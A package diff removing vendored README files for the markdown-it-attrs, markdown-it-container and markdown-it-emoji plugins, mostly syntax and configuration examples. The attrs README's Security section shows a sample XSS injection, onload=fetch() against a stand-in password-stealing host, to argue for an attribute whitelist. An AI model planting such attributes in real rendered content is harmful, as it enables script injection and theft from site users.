void 0.10.12 → 0.20.0

package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/markdown-it-attrs/README.md

@@ -1,386 +0,0 @@
-# markdown-it-attrs [![GitHub actions](https://github.com/arve0/markdown-it-attrs/workflows/ci/badge.svg)](https://github.com/arve0/markdown-it-attrs/actions) [![npm version](https://badge.fury.io/js/markdown-it-attrs.svg)](http://badge.fury.io/js/markdown-it-attrs) [![Coverage Status](https://coveralls.io/repos/github/arve0/markdown-it-attrs/badge.svg?branch=master)](https://coveralls.io/github/arve0/markdown-it-attrs?branch=master) <!-- omit in toc -->
-
-Add classes, identifiers and attributes to your markdown with `{.class #identifier attr=value attr2="spaced value"}` curly brackets, similar to [pandoc's header attributes](http://pandoc.org/README.html#extension-header_attributes).
-
-# Table of contents <!-- omit in toc -->
-- [Examples](#examples)
-- [Install](#install)
-- [Support](#support)
-- [Usage](#usage)
-- [Security](#security)
-- [Limitations](#limitations)
-- [Ambiguity](#ambiguity)
-- [Custom rendering](#custom-rendering)
-- [Custom blocks](#custom-blocks)
-- [Custom delimiters](#custom-delimiters)
-- [Development](#development)
-- [License](#license)
-## Examples
-Example input:
-```md
-# header {.style-me}
-paragraph {data-toggle=modal}
-```
-
-Output:
-```html
-<h1 class="style-me">header</h1>
-<p data-toggle="modal">paragraph</p>
-```
-
-Works with inline elements too:
-```md
-paragraph *style me*{.red} more text
-```
-
-Output:
-```html
-<p>paragraph <em class="red">style me</em> more text</p>
-```
-
-And fenced code blocks:
-<pre><code>
-```python {data=asdf}
-nums = [x for x in range(10)]
-```
-</code></pre>
-
-Output:
-```html
-<pre><code data="asdf" class="language-python">
-nums = [x for x in range(10)]
-</code></pre>
-```
-
-You can use `..` as a short-hand for `css-module=`:
-
-```md
-Use the css-module green on this paragraph. {..green}
-```
-
-Output:
-```html
-<p css-module="green">Use the css-module green on this paragraph.</p>
-```
-
-Also works with spans, in combination with the [markdown-it-bracketed-spans](https://github.com/mb21/markdown-it-bracketed-spans) plugin (to be installed and loaded as such then):
-
-```md
-paragraph with [a style me span]{.red}
-```
-
-Output:
-```html
-<p>paragraph with <span class="red">a style me span</span></p>
-```
-
-## Install
-
-```
-$ npm install --save markdown-it-attrs
-```
-
-## Support
-Library is considered done from my part. I'm maintaining it with bug fixes and
-security updates.
-
-I'll approve pull requests that are easy to understand. Generally not willing
-merge pull requests that increase maintainance complexity. Feel free to open
-anyhow and I'll give my feedback.
-
-If you need some extra features, I'm available for hire.
-
-## Usage
-
-```js
-var md = require('markdown-it')();
-var markdownItAttrs = require('markdown-it-attrs');
-
-md.use(markdownItAttrs, {
-  // optional, these are default options
-  leftDelimiter: '{',
-  rightDelimiter: '}',
-  allowedAttributes: []  // empty array = all attributes are allowed
-});
-
-var src = '# header {.green #id}\nsome text {with=attrs and="attrs with space"}';
-var res = md.render(src);
-
-console.log(res);
-```
-
-[demo as jsfiddle](https://jsfiddle.net/arve0/hwy17omn/)
-
-
-## Security
-A user may insert rogue attributes like this:
-```js
-![](img.png){onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)}
-```
-
-If security is a concern, use an attribute whitelist:
-
-```js
-md.use(markdownItAttrs, {
-  allowedAttributes: ['id', 'class', /^regex.*$/]
-});
-```
-
-Now only `id`, `class` and attributes beginning with `regex` are allowed:
-
-```md
-text {#red .green regex=allowed onclick=alert('hello')}
-```
-
-Output:
-```html
-<p id="red" class="green" regex="allowed">text</p>
-```
-
-## Limitations
-markdown-it-attrs relies on markdown parsing in markdown-it, which means some
-special cases are not possible to fix. Like using `_` outside and inside
-attributes:
-
-```md
-_i want [all of this](/link){target="_blank"} to be italics_
-```
-
-Above example will render to:
-```html
-<p>_i want <a href="/link">all of this</a>{target=&quot;<em>blank&quot;} to be italics</em></p>
-```
-
-...which is probably not what you wanted. Of course, you could use `*` for
-italics to solve this parsing issue:
-
-```md
-*i want [all of this](/link){target="_blank"} to be italics*
-```
-
-Output:
-```html
-<p><em>i want <a href="/link" target="_blank">all of this</a> to be italics</em></p>
-```
-
-## Ambiguity
-When class can be applied to both inline or block element, inline element will take precedence:
-```md
-- list item **bold**{.red}
-```
-
-Output:
-```html
-<ul>
-<li>list item <strong class="red">bold</strong></li>
-<ul>
-```
-
-If you need the class to apply to the list item instead, use a space:
-```md
-- list item **bold** {.red}
-```
-
-Output:
-```html
-<ul>
-<li class="red">list item <strong>bold</strong></li>
-</ul>
-```
-
-If you need the class to apply to the `<ul>` element, use a new line:
-```md
-- list item **bold**
-{.red}
-```
-
-Output:
-```html
-<ul class="red">
-<li>list item <strong>bold</strong></li>
-</ul>
-```
-
-If you have nested lists, curlys after new lines will apply to the nearest `<ul>` or `<ol>`. You may force it to apply to the outer `<ul>` by adding curly below on a paragraph by its own:
-```md
-- item
-  - nested item {.a}
-{.b}
-
-{.c}
-```
-
-Output:
-```html
-<ul class="c">
-  <li>item
-    <ul class="b">
-      <li class="a">nested item</li>
-    </ul>
-  </li>
-</ul>
-```
-
-This is not optimal, but what I can do at the momemnt. For further discussion, see https://github.com/arve0/markdown-it-attrs/issues/32.
-
-Similar for tables, attributes must be _two_ new lines below:
-```md
-header1 | header2
-------- | -------
-column1 | column2
-
-{.special}
-```
-
-Output:
-```html
-<table class="special">
-  <thead>
-    <tr>
-      <th>header1</th>
-      <th>header2</th>
-    </tr>
-  </thead>
-  <tbody>
-    <tr>
-      <td>column1</td>
-      <td>column2</td>
-    </tr>
-  </tbody>
-</table>
-```
-
-Wellformed the table's _rowspan_ and/or _colspan_ attributes, usage sample below:
-```md
-| A                       | B   | C   | D                |
-| ----------------------- | --- | --- | ---------------- |
-| 1                       | 11  | 111 | 1111 {rowspan=3} |
-| 2 {colspan=2 rowspan=2} | 22  | 222 | 2222             |
-| 3                       | 33  | 333 | 3333             |
-
-{border=1}
-```
-
-Output:
-```html
-<table border="1">
-  <thead>
-    <tr>
-      <th>A</th>
-      <th>B</th>
-      <th>C</th>
-      <th>D</th>
-    </tr>
-  </thead>
-  <tbody>
-    <tr>
-      <td>1</td>
-      <td>11</td>
-      <td>111</td>
-      <td rowspan="3">1111</td>
-    </tr>
-    <tr>
-      <td colspan="2" rowspan="2">2</td>
-      <td>22</td>
-    </tr>
-    <tr>
-      <td>3</td>
-    </tr>
-  </tbody>
-</table>
-```
-
-If you need finer control, [decorate](https://github.com/rstacruz/markdown-it-decorate) might help you.
-
-## Custom rendering
-If you would like some other output, you can override renderers:
-
-```js
-const md = require('markdown-it')();
-const markdownItAttrs = require('markdown-it-attrs');
-
-md.use(markdownItAttrs);
-
-// custom renderer for fences
-md.renderer.rules.fence = function (tokens, idx, options, env, slf) {
-  const token = tokens[idx];
-  return  '<pre' + slf.renderAttrs(token) + '>'
-    + '<code>' + token.content + '</code>'
-    + '</pre>';
-}
-
-let src = [
-  '',
-  '```js {.abcd}',
-  'var a = 1;',
-  '```'
-].join('\n')
-
-console.log(md.render(src));
-```
-
-Output:
-```html
-<pre class="abcd"><code>var a = 1;
-</code></pre>
-```
-
-Read more about [custom rendering at markdown-it](https://github.com/markdown-it/markdown-it/blob/master/docs/architecture.md#renderer).
-
-
-## Custom blocks
-`markdown-it-attrs` will add attributes to any `token.block == true` with {}-curlies in end of `token.info`. For example, see [markdown-it/rules_block/fence.js](https://github.com/markdown-it/markdown-it/blob/760050edcb7607f70a855c97a087ad287b653d61/lib/rules_block/fence.js#L85) which [stores text after the three backticks in fenced code blocks to `token.info`](https://markdown-it.github.io/#md3=%7B%22source%22%3A%22%60%60%60js%20%7B.red%7D%5Cnfunction%20%28%29%20%7B%7D%5Cn%60%60%60%22%2C%22defaults%22%3A%7B%22html%22%3Afalse%2C%22xhtmlOut%22%3Afalse%2C%22breaks%22%3Afalse%2C%22langPrefix%22%3A%22language-%22%2C%22linkify%22%3Atrue%2C%22typographer%22%3Atrue%2C%22_highlight%22%3Atrue%2C%22_strict%22%3Afalse%2C%22_view%22%3A%22debug%22%7D%7D).
-
-Remember to [render attributes](https://github.com/arve0/markdown-it-attrs/blob/a75102ad571110659ce9545d184aa5658d2b4a06/index.js#L100) if you use a custom renderer.
-
-## Custom delimiters
-
-To use different delimiters than the default, add configuration for `leftDelimiter` and `rightDelimiter`:
-
-```js
-md.use(attrs, {
-  leftDelimiter: '[',
-  rightDelimiter: ']'
-});
-```
-
-Which will render
-
-```md
-# title [.large]
-```
-
-as
-
-```html
-<h1 class="large">title</h1>
-```
-
-## Development
-Tests are in [test.js](./test.js).
-
-Run all tests:
-```sh
-npm test
-```
-
-Run particular test:
-```sh
-npm test -- -g "not crash"
-```
-
-In tests, use helper function `replaceDelimiters` to make test run with
-different delimiters (`{}`, `[]` and `[[]]`).
-
-For easy access to HTML output you can use [debug.js](./debug.js):
-
-```sh
-node debug.js # will print HTML output
-```
-
-Please do **not** submit pull requests with changes in package version or built
-files like browser.js.
-
-## License
-
-MIT © [Arve Seljebu](http://arve0.github.io/)

package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/markdown-it-container/README.md

@@ -1,95 +0,0 @@
-# markdown-it-container
-
-[![CI](https://github.com/markdown-it/markdown-it-container/actions/workflows/ci.yml/badge.svg)](https://github.com/markdown-it/markdown-it-container/actions/workflows/ci.yml)
-[![NPM version](https://img.shields.io/npm/v/markdown-it-container.svg?style=flat)](https://www.npmjs.org/package/markdown-it-container)
-[![Coverage Status](https://img.shields.io/coveralls/markdown-it/markdown-it-container/master.svg?style=flat)](https://coveralls.io/r/markdown-it/markdown-it-container?branch=master)
-
-> Plugin for creating block-level custom containers for [markdown-it](https://github.com/markdown-it/markdown-it) markdown parser.
-
-__v2.+ requires `markdown-it` v5.+, see changelog.__
-
-With this plugin you can create block containers like:
-
-```
-::: warning
-*here be dragons*
-:::
-```
-
-.... and specify how they should be rendered. If no renderer defined, `<div>` with
-container name class will be created:
-
-```html
-<div class="warning">
-<em>here be dragons</em>
-</div>
-```
-
-Markup is the same as for [fenced code blocks](http://spec.commonmark.org/0.18/#fenced-code-blocks).
-Difference is, that marker use another character and content is rendered as markdown markup.
-
-
-## Installation
-
-node.js, browser:
-
-```bash
-$ npm install markdown-it-container --save
-$ bower install markdown-it-container --save
-```
-
-
-## API
-
-```js
-var md = require('markdown-it')()
-            .use(require('markdown-it-container'), name [, options]);
-```
-
-Params:
-
-- __name__ - container name (mandatory)
-- __options:__
-   - __validate__ - optional, function to validate tail after opening marker, should
-     return `true` on success.
-   - __render__ - optional, renderer function for opening/closing tokens.
-   - __marker__ - optional (`:`), character to use in delimiter.
-
-
-## Example
-
-```js
-var md = require('markdown-it')();
-
-md.use(require('markdown-it-container'), 'spoiler', {
-
-  validate: function(params) {
-    return params.trim().match(/^spoiler\s+(.*)$/);
-  },
-
-  render: function (tokens, idx) {
-    var m = tokens[idx].info.trim().match(/^spoiler\s+(.*)$/);
-
-    if (tokens[idx].nesting === 1) {
-      // opening tag
-      return '<details><summary>' + md.utils.escapeHtml(m[1]) + '</summary>\n';
-
-    } else {
-      // closing tag
-      return '</details>\n';
-    }
-  }
-});
-
-console.log(md.render('::: spoiler click me\n*content*\n:::\n'));
-
-// Output:
-//
-// <details><summary>click me</summary>
-// <p><em>content</em></p>
-// </details>
-```
-
-## License
-
-[MIT](https://github.com/markdown-it/markdown-it-container/blob/master/LICENSE)

package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/markdown-it-emoji/README.md

@@ -1,101 +0,0 @@
-# markdown-it-emoji
-
-[![CI](https://github.com/markdown-it/markdown-it-emoji/actions/workflows/ci.yml/badge.svg)](https://github.com/markdown-it/markdown-it-emoji/actions/workflows/ci.yml)
-[![NPM version](https://img.shields.io/npm/v/markdown-it-emoji.svg?style=flat)](https://www.npmjs.org/package/markdown-it-emoji)
-[![Coverage Status](https://coveralls.io/repos/markdown-it/markdown-it-emoji/badge.svg?branch=master&service=github)](https://coveralls.io/github/markdown-it/markdown-it-emoji?branch=master)
-
-> Plugin for [markdown-it](https://github.com/markdown-it/markdown-it) markdown parser, adding emoji & emoticon syntax support. Also supports emoticons [shortcuts](https://github.com/markdown-it/markdown-it-emoji/blob/master/lib/data/shortcuts.js) like `:)`, `:-(`, and others.
-
-__NOTE. v3 changed exports, see below.__
-
-
-## Install
-
-```bash
-npm install i markdown-it-emoji
-```
-
-## Use
-
-### init
-
-```js
-//
-// { full, light, bare } configs available.
-//
-//  full:  includes all available emojis support
-//  light: includes small subset of most useable emojis
-//  bare:  no defaults
-//
-// Also CJS & UMD builds available in `dist/` folder of published package,
-// if your env not supports ESM modules use.
-//
-import { full as emoji } from 'markdown-it-emoji'
-import markdownit from 'markdown-it'
-
-const md = markdownit().use(emoji/* , options */);
-```
-
-Options are not mandatory:
-
-- __defs__ (Object) - rewrite available emoji definitions
-  - example: `{ name1: char1, name2: char2, ... }`
-- __enabled__ (Array) - disable all emojis except whitelisted
-- __shortcuts__ (Object) - rewrite default shortcuts
-  - example: `{ "smile": [ ":)", ":-)" ], "laughing": ":D" }`
-
-_Differences in browser._ If you load the script directly into the page without
-using a package system, the module will add itself globally with the name `markdownitEmoji`.
-
-### change output
-
-By default, emojis are rendered as appropriate unicode chars. But you can change
-the renderer function as you wish.
-
-Render as span blocks (for example, to use a custom iconic font):
-
-```js
-// ...
-// initialize
-
-md.renderer.rules.emoji = function(token, idx) {
-  return '<span class="emoji emoji_' + token[idx].markup + '"></span>';
-};
-```
-
-Or use [twemoji](https://github.com/twitter/twemoji):
-
-```js
-// ...
-// initialize
-
-import twemoji from 'twemoji'
-
-md.renderer.rules.emoji = function(token, idx) {
-  return twemoji.parse(token[idx].content);
-};
-```
-
-__NB 1__. Read [twemoji docs](https://github.com/twitter/twemoji#string-parsing)!
-In case you need more options to change image size & type.
-
-__NB 2__. When using twemoji you can make image height match the line height with this
-style:
-
-```css
-.emoji {
-  height: 1.2em;
-}
-```
-
-### In your markdown file
-
-```md
-Hello from mars :satellite:
-```
-
-becomes
-
-```
-Hello from mars 📡
-```